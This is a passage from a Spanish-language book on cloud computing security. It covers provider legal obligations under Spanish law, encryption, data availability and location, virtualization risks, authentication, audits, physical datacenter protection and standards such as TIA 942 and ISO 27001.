derecho al honor, a la intimidad personal y familiar y a la propia imagen”. Este derecho comprende el derecho a la publicación de imágenes, informaciones nominativas e informaciones personales. Así pues, la persona tiene el derecho de oponerse a la difusión de estos elementos.  Ilegalidad de documentos: los contenidos pedófilo/pornográficos, que inciten al odio racial o que hagan apología de crímenes de guerra se consideran como ilegales y no pueden, en ningún caso, albergarse en casa de un proveedor. b. Responsable de los datos Así pues, los datos albergados están sometidos a leyes. Pero, ¿qué ocurre si un usuario alberga, a pesar de todo, datos de carácter ilegal en el Cloud de su proveedor? La ley es muy clara en este aspecto. Ya que el artículo 16.1.a de la ley 34/2002 del 11 de julio de 2002 sobre servicios de la sociedad de la información y de comercio electrónico (LSSI-CE) estipula que: ”Los prestadores de un servicio de intermediación consistente en albergar datos proporcionados por el destinatario de este servicio no serán responsables por la información almacenada a petición del destinatario, siempre que [...] no tengan conocimiento efectivo de que la actividad o la información almacenada es ilícita o de que lesiona bienes o derechos de un tercero susceptibles de indemnización [...].” Por lo tanto, lo correcto es que el usuario sea el responsable de los datos albergados en el Cloud, con la única condición de que el proveedor no haya sido advertido del contenido ilegal de estos datos. Es completamente impensable que un proveedor de Cloud Computing verifique todo el conjunto de archivos de sus clientes con el fin de comprobar su carácter legal. Además, algunas verificaciones serán imposibles de realizar, por ejemplo los derechos de autor. En cambio, el proveedor tiene la obligación de verificar la legalidad de los datos de un usuario si le llega una queja o informe. c. Obligación de información del proveedor Sin embargo, los usuarios no conocen forzosamente la legislación que afecta a sus datos albergados, especialmente a nivel de derechos de imagen y derechos de autor. En consecuencia, el artículo 10.1.g de la ley LSSI-CE precisa la obligación del proveedor de informar al usuario: ”Sin perjuicio de los requisitos que en materia de información se establecen en la normativa vigente, el prestador de servicios de la sociedad de la información estará obligado a disponer de los medios que permitan, tanto a los destinatarios del servicio como a los órganos competentes, acceder por medios electrónicos, de forma permanente, fácil, directa y gratuita, a la siguiente información: [...] Los códigos de conducta a los que, en su caso, esté adherido y la manera de consultarlos electrónicamente.” En concreto, el usuario encontrará en la mayoría de los proveedores de Cloud público una casilla a marcar estipulando las reglas a las que estarán sometidos sus datos. d. Seguridad de los datos El proveedor de Cloud debe comprometerse a hacer todo lo posible para proteger los datos que alberga, ya sea desde un punto de vista técnico, físico u organizativo. Debe velar por el buen funcionamiento de los servicios que propone así como por la integridad, la confidencialidad y la disponibilidad de los datos de sus clientes. Esta obligación está definida en el artículo 9.1 de la Ley Orgánica 15/1999 (LOPD), de 13 de diciembre, de Protección de Datos de Carácter Personal: ”El responsable del fichero, y, en su caso, el encargado del tratamiento deberán adoptar las medidas de índole técnica y organizativas necesarias que garanticen la seguridad de los datos de carácter personal y eviten su alteración, pérdida, tratamiento o acceso no autorizado, habida cuenta del estado de la tecnología, la naturaleza de los datos almacenados y los riesgos a que están expuestos, ya provengan de la acción humana o del medio físico o natural.” Las penas incurridas por el proveedor en el caso de no aplicar este artículo son de 40.001 hasta 300.000 euros de sanción y hasta cinco años de cárcel (artículo 45.2 de la Ley Orgánica 15/1999 y artículos 197.1 y 197.4 de Ley Orgánica 10/1995 (Código Penal) modificada por la Ley Orgánica 5/2010). Estas obligaciones son, evidentemente, modulares en función de la capa en la que el usuario se sitúa (SaaS, PaaS, IaaS). En efecto, en el caso de una solución Paas, las consecuencias de una negligencia específica de la aplicación (inyección SQL, fallo XSS, contraseñas demasiado sencillas, etc) no pueden ser imputadas al proveedor. Ambas partes deben controlar cada una desde su lado su propia seguridad con el fin de velar por el buen funcionamiento y la seguridad de los servicios ofertados. Para ello, se debe redactar un contrato de servicio con la finalidad de definir los compromisos, derechos y obligaciones tanto del proveedor como del usuario. 2. Cifrado de los datos Para asegurar la confidencialidad de los datos albergados en el Cloud, deben usarse obligatoriamente sistemas de cifrado. Lo veremos en la siguiente sección pero se pueden presentar varios casos que pueden permitir a otros usuarios o al personal del proveedor acceder a los datos del usuario. El objetivo del cifrado es dejar nuestros datos ilegibles e inutilizables en el caso de que se comprometa la seguridad del proveedor Cloud. El estudio de distintos sistemas de cifrado y de criptografía exceden el marco de esta obra, sin embargo hay dos métodos diferenciados y merecen una breve presentación. a. Criptografía simétrica El primer método se basa en el concepto de clave única. La operación consiste en cifrar un texto plano con una clave de cifrado. La etapa inversa, el descifrado, utiliza esta misma clave para poder ver el texto original. Este método se ha usado durante mucho tiempo para cifrar datos. Sin embargo, se desaconseja su uso en el contexto del Cloud Computing. El intercambio de la clave es, en efecto, un vector de ataque potencial, el sistema quedaría completamente comprometido si ésta se interceptara. b. Criptografía asimétrica El segundo método, utilizado por la mayoría de los proveedores, es el cifrado asimétrico o cifrado de clave pública. Este método es mucho más seguro debido a que no se basa en una clave única sino en dos claves distintas: una clave pública utilizada para el cifrado y una clave privada utilizada para el descifrado. En la práctica el usuario que desea recibir mensajes cifrados genera una clave pública con su clave privada. Guarda y protege esta clave privada pero puede intercambiar su clave pública a través de un canal no seguro. Los emisores cifran entonces su mensaje con esta clave, enviándolo al usuario que será quien lo descifrará gracias a su clave privada. Por lo tanto, compartir la clave deja de ser una vulnerabilidad debido a que la clave pública puede ser libremente intercambiada por la web. Cabe destacar que existen varios algoritmos de criptografía asimétrica [1], el más conocido es el RSA (Rivest Shamir Adleman). 3. Accesibilidad de los datos Los usuarios que desean pasar al Cloud Computing también se plantean la cuestión de la accesibilidad de los datos: ”¿Quién tendrá acceso a mis datos y cómo estar seguro que nadie accederá a ellos?” Hay que considerar dos posibilidades cuando los datos se almacenan en el Cloud:  Por el concepto de mutualización de recursos, ¿pueden acceder a los datos otros usuarios?  Del mismo modo, ¿el personal del proveedor Cloud puede visualizar el conjunto de los datos de los clientes? Cabe destacar que descartamos la posibilidad de acceso físico a los servidores por personas no autorizadas, esta amenaza debe ser cubierta por el prestatario. El primer caso se basa por lo tanto en la noción clave del Cloud Computing: la mutualización de los datos. Los datos almacenados en la Nube son todos datos que pertenecen a otros usuarios. Por consiguiente, se deben tomar medidas para no permitir a cualquier usuario acceder a los datos de otro. El caso de las ofertas de PaaS es elocuente: las aplicaciones desplegadas por el usuario se albergan en servidores físicos donde hay otras aplicaciones presentes. Los datos de la aplicación (el código fuente de los archivos, el material multimedia, las bases de datos...) no deben ser accesibles por otras aplicaciones. Lo hemos visto en el apartado anterior, gestionar esta seguridad no forma parte de las tareas del usuario sino que es más bien el proveedor el que debe asegurar la seguridad de los servicios que ofrece. El segundo caso, que concierne el acceso del personal a datos de los usuarios, debe ser objeto de una atención particular. En efecto, los servidores de los proveedores están accesibles a su personal por razones obvias: cambio de una pieza de hardware defectuosa, actualización de servicios, etc. Partiendo de este principio, nada impide al personal acceder a los datos albergados en sus servidores. Por fortuna, existen soluciones para paliar este problema, la principal es el cifrado de datos. Explicado en el apartado anterior, la criptografía asimétrica permite cifrar los datos para convertirlos en inutilizables para cualquiera que no esté en posesión de la clave privada, lo que incluye al personal del proveedor. A pesar de todo, hay que prestar atención a la forma en que se realiza este cifrado, como nos lo ha demostrado Dropbox del que recientemente se ha hablado mucho por la red [2]. Este servicio de almacenamiento de archivos en línea aseguraba cifrar el conjunto de datos de los usuarios mediante el algoritmo de cifrado AES 256, garantizando la confidencialidad de los datos. Sin embargo, Dropbox omitió detallar que se conservaba una copia de la clave de descifrado, permitiéndole acceder también a los datos de los usuarios. La accesibilidad de los datos es por lo tanto un punto primordial que no hay que omitir. Así, un usuario que desee pasar al Cloud Computing deberá cifrar sus datos y analizar las condiciones de uso del proveedor para asegurar su confidencialidad. También se puede redactar un contrato con el proveedor para eliminar cualquier ambigüedad. 4. Disponibilidad de los datos Garantizar la seguridad de los datos a nivel de confidencialidad es una cosa, pero ¿de qué sirve si el usuario no puede acceder a ellos? Una empresa que tenga desmaterializados sus servicios en un Cloud público sufriría grandes pérdidas financieras si se produjese una indisponibilidad de la plataforma. Por este motivo, existen los contratos de nivel de servicio, más conocidos bajo las siglas SLA (Service Level Agreement), que son el nivel esencial para asegurar la disponibilidad de un Cloud público. Este SLA contiene la mejor garantía de la disponibilidad de los datos. El proveedor deberá pagar indemnizaciones por daños y perjuicios si no se respetara el contrato. Es importante destacar que este contrato también debe contener otras características, como la calidad del servicio, el tiempo de respuesta o incluso la penalización en caso de superar el límite establecido. 5. Localización de los datos Otro aspecto que preocupa a los nuevos usuarios del Cloud Computing es la localización de los datos. ”¿Dónde están guardados mis archivos?”, ”¿Cuál es la ley que se aplica en el país que alberga mis datos?” o incluso ”¿Puede el Estado acceder a mis datos?”, son ejemplos de preguntas que surgen comúnmente. Evidentemente no se puede hacer aquí una lista exhaustiva de la legislación de cada país, sin embargo es importante resaltar que algunos países poseen el legítimo derecho de tener acceso a los datos almacenados dentro de su territorio. En España, los proveedores de alojamiento deben ser capaces de extraer los datos de su Cloud en el caso de una investigación. Los artículos 11 y 36 de la LSSI-CE prevén dos tipos de obligaciones:  Cuando un órgano competente hubiera ordenado, en ejercicio de las competencias que legalmente tenga atribuidas, que se interrumpa la prestación de un servicio de la sociedad de la información o la retirada de determinados contenidos provenientes de prestadores establecidos en España, y para ello fuera necesaria la colaboración de los prestadores de servicios de intermediación, dicho órgano podrá ordenar a los citados prestadores que suspendan el correspondiente servicio de intermediación utilizado para la provisión del servicio de la sociedad de la información o de los contenidos cuya interrupción o retirada hayan sido ordenados respectivamente.  Los prestadores de servicios de la sociedad de la información tienen la obligación de facilitar al Ministerio de Ciencia y Tecnología y a los demás órganos a que se refiere el artículo anterior toda la información y colaboración precisas para el ejercicio de sus funciones. Igualmente, deberán permitir a sus agentes o al personal inspector el acceso a sus instalaciones y la consulta de cualquier documentación relevante para la actividad de control de que se trate, siendo de aplicación, en su caso, lo dispuesto en el artículo 8.5 de la Ley 29/1998, de 13 de julio, reguladora de la Jurisdicción Contencioso-Administrativa. Sin embargo, estas reglas sólo se pueden aplicar si los datos están situados en España y un proveedor de alojamiento español puede disponer de servidores fuera de su país. En este caso, se puede crear una comisión rogatoria internacional para continuar la investigación fuera de España. Este procedimiento puede ser muy rápido en el caso de países situados dentro de la Unión Europea como Irlanda donde numerosos proveedores disponen de datacenters (Amazon, Microsoft). En el caso opuesto, algunos países, especialmente de Asia y de África, no son cooperativos y no autorizan a las autoridades españolas encargadas de la investigación digital legal (GDT Y EDITEs) a acceder a los datos que albergan. Como consejo, antes de lanzarse a usar un Cloud público lo mejor es asegurarse primero del país en el que se encuentra la infraestructura que acogerá los datos. Se puede efectuar un estudio de jurisdicciones competentes y hacer las elecciones en función de este estudio. 6. Protección y recuperación de los datos Poner sus datos en el Cloud es una cosa, pero ¿que hay de la protección y de la recuperación de los datos? Si un proveedor que alberga datos sufre una avería, ¿tiene la obligación de proteger los datos de sus clientes o es tolerable un cierto grado de pérdida? Hemos visto anteriormente que la disponibilidad de los servicios debía ser contractualmente definida por la elaboración de un SLA. Desde la misma perspectiva, el proceso de protección de datos puede definirse mediante las métricas RTO (Recovery Time Objective) y RPO (Recovery Point Objective). El RTO determina el tiempo máximo aceptable de interrupción de un recurso después de una avería en casa del prestatario. Este último debe comprometerse a restablecer los servicios afectados con una duración inferior al RTO. En cuanto al RPO, éste determina la cantidad de datos que un usuario acepta perder en caso de una avería en casa del proveedor. Esta métrica se determina por la frecuencia de las copias de seguridad realizadas por este último, el reemplazo de los datos del usuario se realiza con la copia de seguridad más reciente. Por lo tanto, las buenas prácticas consisten en comprobar que el proveedor se comprometa a respetar un RTO y un RPO aceptables y en validarlos contractualmente. Para finalizar, también conviene asegurar que el proveedor no guardará registros de los datos cuando el usuario cambie de proveedor Cloud. En efecto, es importante comprobar que los datos, así como las copias de seguridad realizadas por el proveedor, serán correctamente eliminados y que no quedará ningún registro. Este punto también se puede incluir en la elaboración del contrato estipulando el borrado de la totalidad de los datos del usuario cuando éste se dé de baja. Cabe destacar que actualmente existe un estándar llamado OVMF (Open Virtual Machine Format) que permite una exportación y una importación simplificadas entre distintas plataformas de Cloud Computing. Se deben buscar preferentemente prestatarios de Cloud Computing que apliquen este estándar. La seguridad lógica en el Cloud Computing Hemos visto las responsabilidades de los proveedores de Cloud Computing así como los criterios que hay que tener en cuenta para pasar al Cloud Computing. Ahora nos vamos a interesar en la seguridad lógica del Cloud Computing y en los elementos susceptibles de ser vulnerables. Asimilar estos conceptos permitirá a los auditores conocer las posibles vulnerabilidades y a los proveedores reducir los riesgos de compromiso de sus sistemas. 1. Virtualización: los nuevos riesgos Una parte del éxito que ha alcanzado el Cloud viene del uso masivo de la virtualización: elasticidad de recursos, socialización de servicios o reducción de costes son sólo algunos ejemplos de los beneficios aportados por la informática en la Nube. Esta virtualización permite a varios sistemas operativos trabajar en la misma máquina física. Hay muchos hipervisores en el mercado [3], los principales son KVM, VMware ESX, Xen, Microsoft Hyper-V o incluso Oracle VM. Esta lista evidentemente no es exhaustiva pero muestra que el Cloud no se ha fijado en una configuración estándar. Es por este motivo que no podemos detenernos en la seguridad de cada uno de estos hipervisores sino en la seguridad de la virtualización en general, la configuración para proteger un KVM evidentemente no es la misma que la de un Hyper-V. Es importante destacar que una arquitectura virtualizada no se gestiona como una arquitectura física. Algunas actualizaciones y otros parches correctivos propios de los sistemas operativos deben aplicarse siempre. Sin embargo, el hipervisor establece un nivel adicional en términos de seguridad que es indispensable aprender. Cuando se habla de seguridad de servidores virtuales, hay dos riesgos que vienen inmediatamente a la cabeza:  El riesgo de desconfinamiento: la posibilidad por parte de los usuarios de una máquina virtual de ”salir” y acceder de este modo al conjunto del hipervisor, incluyendo al resto de máquinas virtuales.  El riesgo de denegación de servicio: un ataque en una máquina virtual no debe suponer en ningún caso una incidencia al resto de máquinas virtuales. Estos nuevos riesgos, inherentes a la virtualización, se deben tener en cuenta en la elaboración de una directiva de Cloud Computing. 2. Soluciones de hermetismo lógico Se deben crear zonas de seguridad para confinar las VM y permitir la elasticidad de los recursos a la vez que se mantiene la integridad del hipervisor en caso de una disfunción o de un ataque. Este aislamiento de los clientes garantiza que cada instancia sólo vea los recursos hardware que le hayan sido asignados. Esta protección se hace posible gracias al uso de firewalls que definen los flujos de datos autorizados para ir y venir entre las VM y los que, por el contrario, deben bloquearse. Se pueden aplicar tres modelos de filtrado para el tráfico de red:  Los firewalls virtuales instalados en los equipos físicos específicos. Por lo tanto, los usuarios tienen, además de sus máquinas virtuales, un firewall virtual dedicado. Varios servidores físicos del prestatario del servicio están dedicados por consiguiente al firewalling. Se ofrece al usuario una consola de administración, permitiéndole gestionar las reglas de autorización o los bloqueos de tráfico.  Los firewalls instalados en una máquina virtual distinta pertenecen al usuario. El usuario en este caso puede instalar el firewall a su elección. La ventaja de este modelo es la flexibilidad ofrecida al usuario y el inconveniente es que hay que añadir una máquina virtual adicional y aplicar reglas de seguridad.  El firewall instalado directamente en el interior del hipervisor. Soluciones tales como vShield Zones de VMware hacen posible este tipo de protección. Este componente facilita la creación de zonas de aislamiento lógicas, como las DMZ, así como la implantación de reglas de red que autorizan o rechazan el trafico según protocolos definidos. La restricción de este modelo es la dependencia directa de una tecnología, en el ejemplo anterior la de VMware. El tráfico de red también puede protegerse con el uso de VLAN (Virtual Local Area Network), que permite la separación del tráfico de red. Asimismo, en caso de elevación de privilegios, hay que establecer protecciones para evitar que un usuario malicioso pueda obtener el acceso completo al hipervisor: gestión afinada de las ACL, encriptación de datos críticos, protección de la consola de administración, aislamiento del tráfico de red o incluso instalación de IDS. 3. El factor humano Otro punto a tener en cuenta en la seguridad de servidores virtuales es el factor humano. En efecto, el gabinete de estudios Gartner ha concluido en un estudio [4] que uno de los mayores riesgos de la virtualización se debe al hecho de que el 40% de los proyectos de virtualización no incluye un equipo de seguridad en el despliegue del hipervisor. La protección de los servidores físicos siempre se implementa pero se ignora la seguridad de la capa de hipervisión. Esta capa evidentemente debe controlarse y se deben aplicar los correctivos como en cualquier otro servidor físico. Por lo tanto, los administradores de sistemas y red deben tener planificadas formaciones para aprender la seguridad de la virtualización. 4. Seguridad en el acceso: autentificación y autorización La seguridad también requiere la protección de los accesos lógicos a la plataforma Cloud. Antes de nada, es importante comprender la distinción entre autentificación y autorización para integrar correctamente los entresijos de la seguridad de los accesos lógicos. La ANSSI (Agence Nationale de la Securité des Systèmes d’Information) da la siguiente definición de autentificación: ”La autentificación tiene como objetivo verificar la identidad de una entidad (persona o máquina). Generalmente, la autentificación va precedida de una identificación que permite a esta entidad ser reconocida a los ojos del sistema usando algún elemento propio.” Por lo tanto, la autentificación consiste en aportar la prueba de que la identidad comunicada es la correcta. En la práctica esto se hace con una contraseña, un token, un certificado, etc. En cuanto a la autorización, ésta interviene justo después de la fase de autentificación con éxito. Permite asignar a una entidad los permisos que le son propios y las credenciales que le han sido concedidas. Por ejemplo, añadir un nuevo recurso, la eliminación de espacio sin uso en el disco duro, el corte de algunos servicios, etc. Gestionar cuidadosamente la seguridad de los accesos es, por tanto, primordial en un entorno Cloud. Si no se le presta la atención necesaria, se puede llegar a comprometer todo el sistema (acceso a la consola de administración del hipervisor, por ejemplo). Para ello, hay soluciones que permiten añadir un nivel adicional de seguridad a la autentificación básica. La primera es el uso de autentificación fuerte para acceder a recursos críticos. Este tipo de autentificación se basa en el principio de doble verificación del usuario, paliando las debilidades de la autentificación clásica por contraseña. En efecto, aparecen varios problemas con las contraseñas tradicionales: facilidad de robo gracias a la potencia de las máquinas actuales, social engineering (ver el capítulo Social Engineering de este libro) o incluso atacar realizando un sniffing de red (ver la técnica de Man In The Middle (MITM) en el capítulo Los fallos de red). Estos elementos de verificación deben responder a los siguientes criterios:  Lo que la entidad es: huella digital, estructura de la mano, huella de la retina... de forma resumida, todo lo relacionado con el campo de la biometría.  Lo que la entidad posee: una memoria USB, una smart card, una tarjeta RFID, un token físico...  Lo que la entidad sabe hacer: reconocimiento de voz, firma digital....  Lo que la entidad sabe: frase secreta, contraseña... La autentificación fuerte permitirá de este modo controlar de forma más robusta el acceso a los recursos Cloud. De igual modo, se debe implementar una trazabilidad de acceso en el proveedor para identificar los responsables de ataques o de actividades perjudiciales (muchas autentificaciones fallidas, por ejemplo). Esta trazabilidad requiere el uso de logs que contengan diferentes datos tales como la identidad de la persona o su dirección IP. Muchas veces estas acciones requieren que se realice un registro en alguna institución, como la APD (Agencia de Protección de Datos) española o la CNIL (Commission Nationale de l’Informatique et des Libertés) francesa. Para terminar, conviene aplicar una política de seguridad estricta, como por ejemplo el uso de una contraseña de complejidad mínima y su cambio frecuente. Podría ser más que interesante la realización de una formación sobre los entresijos de la seguridad de acceso para todo el personal. 5. Auditorías regulares Las auditorías de seguridad se deben planificar para comprobar de manera específica la seguridad de la infraestructura Cloud. Como se ha explicado en el capítulo Introducción y definiciones de este libro, las auditorías se inscriben en el marco de una verdadera política de protección de los activos. Se pueden realizar varios tipos de auditorías en casa del prestatario del servicio Cloud para comprobar la fiabilidad del sistema implementado. De entre todos, podemos encontrar los siguientes tres tipos de auditoría: Pruebas de vulnerabilidad Este tipo de auditoría tiene como objetivo comprobar el sistema informático en su globalidad para detectar los fallos potenciales. Para ello, se pueden utilizar herramientas automáticas (scanner, fuzzer...) como complemento a un análisis manual. Cada elemento de la arquitectura Cloud está relacionado: la red (hipervisor, firewall, routers...) y los elementos software (programas, servidores web...). El objetivo es corregir los fallos descubiertos aplicando las medidas correctivas adecuadas. Pruebas de intrusión Contrariamente a las pruebas anteriores, donde el objetivo era únicamente detectar las vulnerabilidades, estas pruebas además pretenden explotar el fallo al intentar el ataque de verdad. La finalidad es demostrar que los fallos permitirían a un atacante introducirse en el sistema y comprometerlo. Se puede proporcionar una medición de las consecuencias a las que induciría el fallo. Las auditorías de código fuente Este tipo de auditoría puede ser útil cuando el prestatario proporciona una herramienta desarrollada internamente. En este caso, pueden existir problemas y la auditoría de código fuente tiene como objetivo detectarlos: desbordamiento de buffer, inyección de SQL, mala gestión de sesiones, etc. Obviamente, aquí no se han citado todas las técnicas de auditoría existentes, sólo las más importantes. De igual modo, la auditoría de seguridad física se cubrirá en la siguiente sección de este capítulo. Estas auditorías de seguridad se basan generalmente en un referente para comparar el estado del SI con lo que se aconseja comúnmente. Generalmente, los textos de leyes en vigor, las reglamentaciones propias de la empresa o incluso la PSSI (Política de Seguridad del Sistema de Información) de la empresa. De igual modo, se deben utilizar referentes relacionados con la seguridad de los sistemas de información en una auditoría de seguridad de un proveedor de Cloud Computing. Las más conocidos son el referente COBIT (Control OBjectives for Information and related Technology, ISACA), el esCERT (Equipo de Respuesta para Emergencias Informáticas de España) o incluso las normas ISO 27001 e ISO 27002. Para terminar, es importante destacar que la auditoría viene generalmente acompañada de un análisis de riesgos que proporciona las herramientas necesarias para la aceptación de los riesgos así como para la mejora continua de la seguridad. Gracias a éste, se podrá determinar cuáles son los riesgos críticos para el proveedor y cuales son los riegos ”residuales”, es decir, los riesgos no críticos y que por tanto tienen una importancia menor en cuanto a su resolución. Hay muchos métodos a nuestra disposición, los más usados son: OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation), que es un conjunto de herramientas, técnicas y métodos para desarrollar análisis de riesgos basados en gestión y planificación estratégica, y MAGERIT, que es un método formal para investigar los riesgos que soportan los Sistemas de Información y para recomendar las medidas apropiadas que deberían adoptarse para controlar estos riesgos. Condiciones generales de uso Copyright - ©Editions ENI La seguridad física Hemos visto en la sección anterior cuáles eran los riesgos asociados a la seguridad lógica del Cloud Computing, especialmente para la parte de virtualización de recursos. Ahora vamos a ver que la seguridad física de los centros de datos que albergan los datos es también esencial. Todas las protecciones lógicas que se hayan implementado se volverán superfluas si una persona con malas intenciones logra acceder físicamente a los servidores o si se produce una catástrofe natural en el centro de datos. Una vez más, no vamos a ver las técnicas para ”atacar” un proveedor de Cloud Computing. Los conceptos que vamos a tratar nos servirán para cuando estemos buscando los servicios de un prestatario de Cloud Computing, para no tener sorpresas desagradables. 1. Control de acceso ¿El proveedor de Cloud ha previsto controles de acceso estrictos para su personal? ¿Hay alguna política de controles de acceso? En caso afirmativo, ¿esta política integra la gestión de funciones? Estas preguntas pueden plantearse en la elección de un prestatario de Cloud, es por ello que el usuario deberá informarse sobre la empresa en cuestión. En efecto, proteger lógicamente una infraestructura Cloud es inútil si los atacantes pueden acceder físicamente a nuestros servidores. Robo de archivos, destrucción de datos, rotura de hardware, caída del servicio para los clientes... son las amenazas a las que debe responder el control de acceso de un datacenter. Incluso ahí, los sistemas de autentificación fuerte deben implementarse para proteger el acceso al hardware sólo a las personas acreditadas (ver sección Seguridad de acceso: autentificación y autorización de este capítulo para obtener explicaciones más detalladas sobre la autentificación fuerte). El usuario también debe proteger la seguridad física de los locales: puertas blindadas, ninguna ventana, control de acceso por funciones (administrador, visitante, electricista, etc.), cámaras de vigilancia en el interior y el exterior de las dependencias, barreras de separación, vigilancia 24h, sistema de alarmas de seguridad, etc. La confirmación de estos elementos garantizará al usuario un nivel de seguridad ideal para albergar sus datos. 2. Catástrofes naturales Un riesgo inherente a la gestión de un datacenter son los desastres naturales, la disponibilidad y la integridad de los datos de los clientes dependen de ellos. El típico ejemplo es de agosto de 2011 donde un rayo cayó sobre un centro de datos de Dublín, provocando un corte en los servicios de Amazon y de Microsoft. Resultado: entre 3h y 48h de caída del servicio para algunos clientes. Es por este motivo que los proveedores de Cloud Computing y el resto de prestatarios de servicios de alojamiento deben tomar las medidas necesarias para asegurar la seguridad física de sus edificios contra catástrofes naturales:  Alarmas de incendio.  Detección de inundación y de filtraciones de agua.  Sistema de control de humedad.  Ventilación.  Sistema de seguridad eléctrica (pararrayos, inversores...).  etc. Incluso algunas empresas van más lejos ofreciendo a sus clientes datacenters ubicados en el interior de antiguos bunkers del ejército. Éste es, en concreto, el caso de la empresa Radix, que ha instalado su datacenter dentro de un antiguo búnker de la armada suiza: puerta blindada de 50 toneladas, lejos de las grandes poblaciones, múltiples sistemas de control, etc. Por supuesto, este caso no es muy común, pero el consejo que hay que dar al usuario de Cloud Computing es de todos modos comprobar la ubicación geográfica de los datacenters de su prestatario: un centro de datos situado en una zona conocida por ciclones debería evidentemente descartarse. Desde el punto de vista del proveedor, o si una empresa desea crear un Cloud privado, es indispensable crear un Plan de Continuidad del Negocio (PCN) así como un Plan de Recuperación ante Desastres (PRD). El primero tiene como objetivo asegurar la continuidad de la actividad de una empresa en caso de un siniestro, sea cual sea el estado en el que esté. En cuanto al PRD, permite asegurar, siempre en caso de un siniestro, la reconstrucción de la infraestructura del centro informático y la vuelta a la actividad de los servidores, aplicaciones y otros servicios destinados a los usuarios. 3. Redundancia del hardware La disponibilidad y la integridad de los datos albergados en el Cloud requieren que haya redundancia de hardware en las dependencias del proveedor. Los grandes miembros del Cloud (Google, Microsoft, Amazon...) disponen de medios colosales, incluso llegan a redundar sus datacenters. Estos datacenters a menudo están separados hasta en distintos continentes, permitiendo la replicación a gran escala de los datos, asegurando su disponibilidad y su integridad en caso de fallo técnico en alguno de sus centros de datos. Los prestatarios más modestos de Cloud Computing evidentemente no pueden ofrecer este lujo. Sin embargo, se debe tener de todos modos una redundancia del hardware prevista para asegurar una continuidad del servicio aceptable en caso de siniestro:  Servidores (bahías de almacenamiento, switch, routers, etc.).  Cableado eléctrico y de red.  Inversores.  Grupos electrógenos.  Líneas de telecomunicaciones (circuitos distintos).  Climatizadores.  Dispositivos que se activan en caso de incendio.  Cámaras de vigilancia.  Sensores ambientales.  Fuentes de alimentación.  etc. La lista no es exhaustiva pero permite ver que la redundancia involucra el conjunto de hardware que forma el datacenter, y no sólo algunos equipamientos. 4. Normas a aplicar Las empresas que desean iniciarse en el Cloud Computing deben someterse a ciertas normas que deben respetar para obtener la confianza de los clientes. a. TIA 942 La norma TIA 942 se sitúa en la cabeza de la lista en materia de normas aplicadas a los datacenters. Este estándar, producido por TIA (Telecommunications Industry Association), aporta, entre otras, exigencias tales como la arquitectura de la red, el diseño eléctrico, la redundancia del hardware, el control del entorno, el alojamiento de aplicaciones, bases de datos y servidores web, las copias de seguridad y el archivado de datos, etc. La norma define de este modo TIERS que van de 1 a 4 y determinan el nivel de calidad de los datacenters. A continuación se muestra una tabla comparativa de estos TIERS: Se puede compro bar que cuanto mayor es el nivel TIER, mayor será la seguridad de los datos de los usuarios. Como puede observar, un datacenter TIER IV cuesta tres veces más que un TIER I, pero ofrece una disponibilidad del 99,995%. La tendencia es, por tanto, elegir datacenters que hayan sido certificados TIER III como mínimo. TIER I TIER II TIER III TIER IV Disponibilidad (%) 99,671 99,749 99,982 99,995 Tiempo de parada máximo por año 28,8 h 22 h 1,6 h 0,4 h Coste de construcción(base 100) 100 133 200 300 b. ISO 27001 La norma ISO 27001 también es un elemento de seguridad relacionado con el alojamiento de los datos en la Nube. Esta norma, publicada en octubre de 2005 por la ISO (International Organization for Standarization), describe las exigencias para la implementación de un Sistema de Gestión de la Seguridad de la Información (SGSI). Este SGSI debe definir las medidas de seguridad que se deberán aplicar en el SI para asegurar la protección de los bienes de una empresa, en nuestro caso la infraestructura Cloud Computing del prestatario. Con el objetivo de garantizar una mejora continua de la seguridad del SI, la norma ISO 27001 se basa en el modelo de calidad PDCA (Plan Do Check Act). Este modelo puede ilustrarse por la rueda de Deming: Este modelo pretende establecer un círculo virtuoso, mejorando continuamente la seguridad de los servicios o de los productos ofertados por las empresas. Para ello, intervienen cuatro etapas:  Plan: esta primera fase consiste en planificar la realización del proyecto, como identificar el problema a resolver y establecer unas especificaciones (actores, medios, jalones...).  Do: esta etapa concierne a la realización de lo que se ha definido en la fase anterior.  Check: aquí el trabajo realizado debe compararse con los resultados esperados con herramientas como los indicadores de rendimiento.  Act: esta última etapa del modelo PDCA consiste en crear un balance del proyecto (ventajas e inconvenientes de la solución, costes generados, directrices de mejora...). Si se identifican nuevas mejoras, empieza un nuevo ciclo y la etapa Plan vuelve a intervenir. Cabe destacar que el uso de la norma ISO 27002 es complementario a la ISO 27001 debido a que ésta proporciona 133 medidas a aplicar al SI destinadas a asegurar la seguridad. Sólo hemos citado dos normas, pero habrá comprendido que existen muchas otras normas, ya sean para proteger la infraestructura Cloud desde un punto de vista técnico, organizacional o incluso cualitativo. Por ejemplo, no hemos abordado la norma SAS 70, caracterizada por auditorías que controlan la calidad del servicio ofertado, o incluso la PCI DSS (Payment Card Industry Data Security Standard) que es una norma internacional que dicta reglas de conformidad muy estrictas. Los usuarios deberán, por tanto, comprobar las auditorías realizadas por los proveedores y las normas aplicadas, dando preferencia de este modo a los proveedores mejor certificados. Generalmente, los prestatarios ofrecen estos datos en su sitio web, como aquí [5] para el caso del Cloud de Amazon. 5. Auditorías regulares Una vez más, como en la seguridad lógica de la infraestructura Cloud, el prestatario deberá pasar auditorías regulares para comprobar la seguridad física de su datacenter. El objetivo evidentemente no es simular una catástrofe natural, sino puede ser por ejemplo contratar una empresa de auditoría externa para comprobar cómo el personal afronta las técnicas de social engineering. La empresa externa, de acuerdo con los dirigentes de la empresa, podría abusar de la confianza del personal (técnico o administrativo) para llegar a sus objetivos, que no es ni más ni menos que acceder físicamente a la infraestructura Cloud. Nuevamente, se deben planear directivas de formación al personal para luchar contra estos casos. De igual modo, estas auditorías podrán inclinarse hacia los accesos físicos al datacenter: ¿se realiza por tarjeta RFID? En caso afirmativo, ¿Existe algún tipo de autentificación fuerte o con una simple tarjeta ya es suficiente? Se realizarán muchas preguntas que servirán para que los auditores puedan definir si el acceso físico al datacenter es lo suficientemente seguro. Condiciones generales de uso Copyright - ©Editions ENI Ataques mediante Cloud Computing 1. Descripción Hemos revisado algunos criterios de seguridad que hay que comprobar antes de pasar al Cloud Computing. Ya sean usuarios que desean utilizar un Cloud público o empresas que desean crear su Cloud privado, las reglas de seguridad se tienen que tener en cuenta antes de realizar la migración de la manera más segura posible. Veamos ahora las posibilidades que ofrece el Cloud Computing a los atacantes en términos de potencia informática. En efecto, lo hemos visto al comienzo del capítulo. Una ventaja de la computación en la Nube es disponer de máquinas virtuales muy potentes. De igual manera, 